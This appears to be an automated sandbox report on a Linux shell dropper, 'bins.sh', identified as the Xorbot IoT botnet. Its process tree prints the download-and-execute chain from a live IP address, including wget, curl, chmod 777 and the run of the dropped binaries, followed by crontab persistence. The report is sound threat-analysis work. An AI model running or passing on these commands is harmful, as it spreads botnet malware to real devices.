Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/01/2025, 23:13

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250104-27dshstraj
  • SHA256 79b5cadd9bb700d3446289f5ac8ecad6f8e606156c382d8ad1b6674f932f448c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2027) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:638
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:640
        • /usr/bin/wget
          wget http://66.63.187.225/bins/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
          2⤵
          • Writes file to tmp directory
          PID:642
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:669
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
          2⤵
          • Writes file to tmp directory
          PID:683
        • /bin/chmod
          chmod 777 hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
          2⤵
          • File and Directory Permissions Modification
          PID:725
        • /tmp/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
          ./hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
          2⤵
          • Executes dropped EXE
          PID:727
        • /bin/rm
          rm hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
          2⤵
            PID:729
          • /usr/bin/wget
            wget http://66.63.187.225/bins/ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
            2⤵
            • Writes file to tmp directory
            PID:731
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
            2⤵
            • Writes file to tmp directory
            PID:752
          • /bin/chmod
            chmod 777 ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
            ./ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:754
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:756
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:757
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:758
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:759
                • /bin/rm
                  rm ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
                  2⤵
                    PID:761
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/VuJFqTRuPN1LVRoIz8AOjbFTncayrlJn7x
                    2⤵
                      PID:764

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq

                        • Path /tmp/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
                        • Size 98KB
                        • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                        • MD5 SHA1 SHA512 SSDEEP

                        ialFkFB5FBuqB57nsfHVRUAVUc43b3099G

                        • Path /tmp/ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
                        • Size 119KB
                        • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                        • MD5 SHA1 SHA512 SSDEEP

                        tmp.WBVzy9

                        • Path /var/spool/cron/crontabs/tmp.WBVzy9
                        • Size 210B
                        • SHA256 9c1baa106ec467b5d401b764fe9de08be8b47d498de706926305ebe1035fa8cf
                        • MD5 SHA1 SHA512